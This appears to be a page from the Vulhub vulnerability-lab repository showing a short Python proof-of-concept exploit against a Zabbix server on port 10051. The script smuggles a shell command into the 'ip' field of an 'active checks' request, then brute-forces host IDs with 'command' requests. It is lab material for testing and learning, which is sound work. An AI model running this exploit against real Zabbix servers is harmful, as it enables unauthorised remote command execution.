Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
22 lines
544 B
Python
22 lines
544 B
Python
import sys
|
|
import socket
|
|
import json
|
|
import sys
|
|
|
|
|
|
def send(ip, data):
|
|
conn = socket.create_connection((ip, 10051), 10)
|
|
conn.send(json.dumps(data).encode())
|
|
data = conn.recv(2048)
|
|
conn.close()
|
|
return data
|
|
|
|
|
|
target = sys.argv[1]
|
|
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
|
|
for i in range(10000, 10500):
|
|
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
|
|
if data and b'failed' not in data:
|
|
print('hostid: %d' % i)
|
|
print(data)
|